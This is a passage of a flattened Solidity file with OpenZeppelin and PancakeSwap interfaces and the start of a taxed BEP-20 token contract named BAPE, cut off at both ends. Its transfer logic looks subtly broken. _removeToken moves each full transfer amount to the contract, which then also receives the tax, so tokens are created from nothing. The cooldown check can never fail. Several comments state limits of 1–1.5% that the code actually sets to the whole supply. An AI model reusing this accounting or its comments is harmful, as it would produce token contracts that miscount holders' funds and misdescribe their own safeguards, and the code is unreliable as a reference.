`owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: openzeppelin\contracts\token\ERC721\extensions\IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: openzeppelin\contracts\token\ERC721\IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: openzeppelin\contracts\security\ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: bapestoken.sol interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IPancakeERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface IPancakeFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IPancakeRouter01 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IPancakeRouter02 is IPancakeRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } //////////////////////////////////////////////////////////////////////////////////////////////////////// //BallerX Contract //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////// contract BAPE is IBEP20, Ownable, IERC721Receiver, ReentrancyGuard { using Address for address; using EnumerableSet for EnumerableSet.AddressSet; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; EnumerableSet.AddressSet private _excluded; //Token Info string private constant _name = 'BAPE'; string private constant _symbol = 'BAPE'; uint8 private constant _decimals = 9; uint256 public constant InitialSupply= 1 * 10**9 * 10**_decimals; uint256 swapLimit = 5 * 10**6 * 10**_decimals; // 0,5% bool isSwapPegged = false; //Divider for the buyLimit based on circulating Supply (1%) uint16 public constant BuyLimitDivider=1; //Divider for the MaxBalance based on circulating Supply (1.5%) uint8 public constant BalanceLimitDivider=1; //Divider for the Whitelist MaxBalance based on initial Supply(1.5%) uint16 public constant WhiteListBalanceLimitDivider=1; //Divider for sellLimit based on circulating Supply (1%) uint16 public constant SellLimitDivider=100; // Chef address address public chefAddress = 0x000000000000000000000000000000000000dEaD; // Limits control bool sellLimitActive = true; bool buyLimitActive = true; bool balanceLimitActive = true; // Team control switch bool _teamEnabled = true; // Team wallets address public constant marketingWallet=0xECB1C6fa4fAea49047Fa0748B0a1d30136Baa73F; address public constant developmentWallet=0x4223b10d22bF8634d5128F588600C65F854cd20c; address public constant charityWallet=0x65685081E64FCBD2377C95E5ccb6167ff5f503d3; // Uniswap v2 Router address private constant PancakeRouter=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Cooldown vars bool cooldown = true; mapping(address => bool) hasTraded; mapping(address => uint256) lastTrade; uint256 cooldownTime = 1 seconds; //variables that track balanceLimit and sellLimit, //can be updated based on circulating supply and Sell- and BalanceLimitDividers uint256 private _circulatingSupply =InitialSupply; uint256 public balanceLimit = _circulatingSupply; uint256 public sellLimit = _circulatingSupply; uint256 public buyLimit = _circulatingSupply; address[] public triedToDump; //Limits max tax, only gets applied for tax changes, doesn't affect inital Tax uint8 public constant MaxTax=49; // claim Settings uint256 public claimFrequency = 86400 seconds; mapping(address => uint256) private _nftHolderLastTransferTimestamp; mapping(uint256 => uint256) private _nftStakeTime; mapping(uint256 => uint256) private _nftStakePeriod; bool public claimEnabled = true; bool public checkTxSigner = true; bool public checkClaimFrequency = true; bool public checkTxMsgSigner = true; address private passwordSigner = 0x81bEE9fF7f8d1D9c32B7BB5714A4236e078E9eCC; mapping(uint256 => bool) private _txMsgSigner; //Tracks the current Taxes, different Taxes can be applied for buy/sell/transfer uint8 private _buyTax; uint8 private _sellTax; uint8 private _transferTax; uint8 private _liquidityTax; uint8 private _distributedTax; bool isTokenSwapManual = true; address private _pancakePairAddress; IPancakeRouter02 private _pancakeRouter; //modifier for functions only the team can call modifier onlyTeam() { require(_isTeam(msg.sender), "Caller not in Team"); _; } modifier onlyChef() { require(_isChef(msg.sender), "Caller is not chef"); _; } //Checks if address is in Team, is needed to give Team access even if contract is renounced //Team doesn't have access to critical Functions that could turn this into a Rugpull(Exept liquidity unlocks) function _isTeam(address addr) private view returns (bool){ if(!_teamEnabled) { return false; } return addr==owner()||addr==marketingWallet||addr==charityWallet||addr==developmentWallet; } function _isChef(address addr) private view returns (bool) { return addr==chefAddress; } //erc1155 receiver //addresses using EnumerableSet for EnumerableSet.UintSet; address nullAddress = 0x0000000000000000000000000000000000000000; address public bapesNftAddress; // mappings mapping(address => EnumerableSet.UintSet) private _deposits; bool public _addBackLiquidity = false; //////////////////////////////////////////////////////////////////////////////////////////////////////// //Constructor/////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////// constructor () { //contract creator gets 90% of the token to create LP-Pair uint256 deployerBalance=_circulatingSupply*9/10; _balances[msg.sender] = deployerBalance; emit Transfer(address(0), msg.sender, deployerBalance); //contract gets 10% of the token to generate LP token and Marketing Budget fase //contract will sell token over the first 200 sells to generate maximum LP and BNB uint256 injectBalance=_circulatingSupply-deployerBalance; _balances[address(this)]=injectBalance; emit Transfer(address(0), address(this),injectBalance); // Pancake Router _pancakeRouter = IPancakeRouter02(PancakeRouter); //Creates a Pancake Pair _pancakePairAddress = IPancakeFactory(_pancakeRouter.factory()).createPair(address(this), _pancakeRouter.WETH()); //Sets Buy/Sell limits balanceLimit=InitialSupply/BalanceLimitDivider; sellLimit=InitialSupply/SellLimitDivider; buyLimit=InitialSupply/BuyLimitDivider; _buyTax=8; _sellTax=10; _transferTax=0; _distributedTax=100; _liquidityTax=0; //Team wallet and deployer are excluded from Taxes _excluded.add(charityWallet); _excluded.add(developmentWallet); _excluded.add(marketingWallet); _excluded.add(developmentWallet); _excluded.add(msg.sender); } //////////////////////////////////////////////////////////////////////////////////////////////////////// //Transfer functionality//////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////// //transfer function, every transfer runs through this function function _transfer(address sender, address recipient, uint256 amount) private{ require(sender != address(0), "Transfer from zero"); require(recipient != address(0), "Transfer to zero"); //Manually Excluded adresses are transfering tax and lock free bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient)); //Transactions from and to the contract are always tax and lock free bool isContractTransfer=(sender==address(this) || recipient==address(this)); //transfers between PancakeRouter and PancakePair are tax and lock free address pancakeRouter=address(_pancakeRouter); bool isLiquidityTransfer = ((sender == _pancakePairAddress && recipient == pancakeRouter) || (recipient == _pancakePairAddress && sender == pancakeRouter)); //differentiate between buy/sell/transfer to apply different taxes/restrictions bool isBuy=sender==_pancakePairAddress|| sender == pancakeRouter; bool isSell=recipient==_pancakePairAddress|| recipient == pancakeRouter; //Pick transfer if(isContractTransfer || isLiquidityTransfer || isExcluded){ _feelessTransfer(sender, recipient, amount); } else{ require(tradingEnabled, "Trading is disabled"); // Cooldown logic (excluded people have no cooldown and contract too) if(cooldown) { if (hasTraded[msg.sender]) { lastTrade[msg.sender] = block.timestamp; require(block.timestamp < (lastTrade[msg.sender] + cooldownTime)); } else { hasTraded[msg.sender] = true; } } _taxedTransfer(sender,recipient,amount,isBuy,isSell); } } //applies taxes, checks for limits, locks generates autoLP and stakingBNB, and autostakes function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); swapLimit = sellLimit/2; uint8 tax; if(isSell){ if (sellLimitActive) { require(amount<=sellLimit,"Dump protection"); } tax=_sellTax; } else if(isBuy){ //Checks If the recipient balance(excluding Taxes) would exceed Balance Limit if (balanceLimitActive) { require(recipientBalance+amount<=(balanceLimit*2),"whale protection"); } if (buyLimitActive) { require(amount<=buyLimit, "whale protection"); } tax=_buyTax; } else {//Transfer //Checks If the recipient balance(excluding Taxes) would exceed Balance Limit require(recipientBalance+amount<=balanceLimit,"whale protection"); //Transfers are disabled in sell lock, this doesn't stop someone from transfering before //selling, but there is no satisfying solution for that, and you would need to pax additional tax tax=_transferTax; } //Swapping AutoLP and MarketingBNB is only possible if sender is not pancake pair, //if its not manually disabled, if its not already swapping and if its a Sell to avoid // people from causing a large price impact from repeatedly transfering when theres a large backlog of Tokens if((sender!=_pancakePairAddress)&&(!manualConversion)&&(!_isSwappingContractModifier)) _swapContractToken(amount); //staking and liquidity Tax get treated the same, only during conversion they get split uint256 contractToken=_calculateFee(amount, tax, _distributedTax+_liquidityTax); //Subtract the Taxed Tokens from the amount uint256 taxedAmount=amount-(contractToken); //Removes token and handles staking _removeToken(sender,amount); //Adds the taxed tokens to the contract wallet _balances[address(this)] += contractToken; //Adds token and handles staking _addToken(recipient, taxedAmount); emit Transfer(sender,recipient,taxedAmount); } //Feeless transfer only transfers and autostakes function _feelessTransfer(address sender, address recipient, uint256 amount) private{ uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); //Removes token and handles staking _removeToken(sender,amount); //Adds token and handles staking _addToken(recipient, amount); emit Transfer(sender,recipient,amount); } //Calculates the token that should be taxed function _calculateFee(uint256 amount, uint8 tax, uint8 taxPercent) private pure returns (uint256) { return (amount*tax*taxPercent) / 10000; } //removes Token, adds BNB to the toBePaid mapping and resets staking function _removeToken(address addr, uint256 amount) private { //the amount of token after transfer uint256 newAmount=_balances[addr]-amount; _balances[address(this)] += amount; _balances[addr]=newAmount; emit Transfer(addr, address(this), amount); } //lock for the withdraw bool private _isTokenSwaping; //the total reward distributed through staking, for tracking purposes uint256 public totalTokenSwapGenerated; //the total payout through staking, for tracking purposes uint256 public totalPayouts; //marketing share of the TokenSwap tax uint8 public _marketingShare=40; //marketing share of the TokenSwap tax uint8 public _charityShare=20; //marketing share of the TokenSwap tax uint8 public _developmentShare=40; //balance that is claimable by the team uint256 public marketingBalance; uint256 public developmentBalance; uint256 public charityBalance; //Mapping of shares that are reserved for payout mapping(address => uint256) private toBePaid; //distributes bnb between marketing, development and charity function _distributeFeesBNB(uint256 BNBamount) private { // Deduct marketing Tax uint256 marketingSplit = (BNBamount * _marketingShare) / 100; uint256 charitySplit = (BNBamount * _charityShare) / 100; uint256 developmentSplit = (BNBamount * _developmentShare) / 100; // Safety check to avoid solidity division imprecision if ((marketingSplit+charitySplit+developmentSplit) > address(this).balance) { uint256 toRemove = (marketingSplit+charitySplit+developmentSplit) - address(this).balance; developmentSplit -= toRemove; } // Updating balances marketingBalance+=marketingSplit; charityBalance+=charitySplit; developmentBalance += developmentSplit; } function _addToken(address addr, uint256 amount) private { //the amount of token after transfer uint256 newAmount=_balances[addr]+amount; _balances[addr]=newAmount; } //////////////////////////////////////////////////////////////////////////////////////////////////////// //Swap Contract Tokens////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////// //tracks auto generated BNB, useful for ticker etc uint256 public totalLPBNB; //Locks the swap if already swapping bool private _isSwappingContractModifier; modifier lockTheSwap { _isSwappingContractModifier = true; _; _isSwappingContractModifier = false; } //swaps the token on the contract for Marketing BNB and LP Token. //always swaps the sellLimit of token to avoid a large price 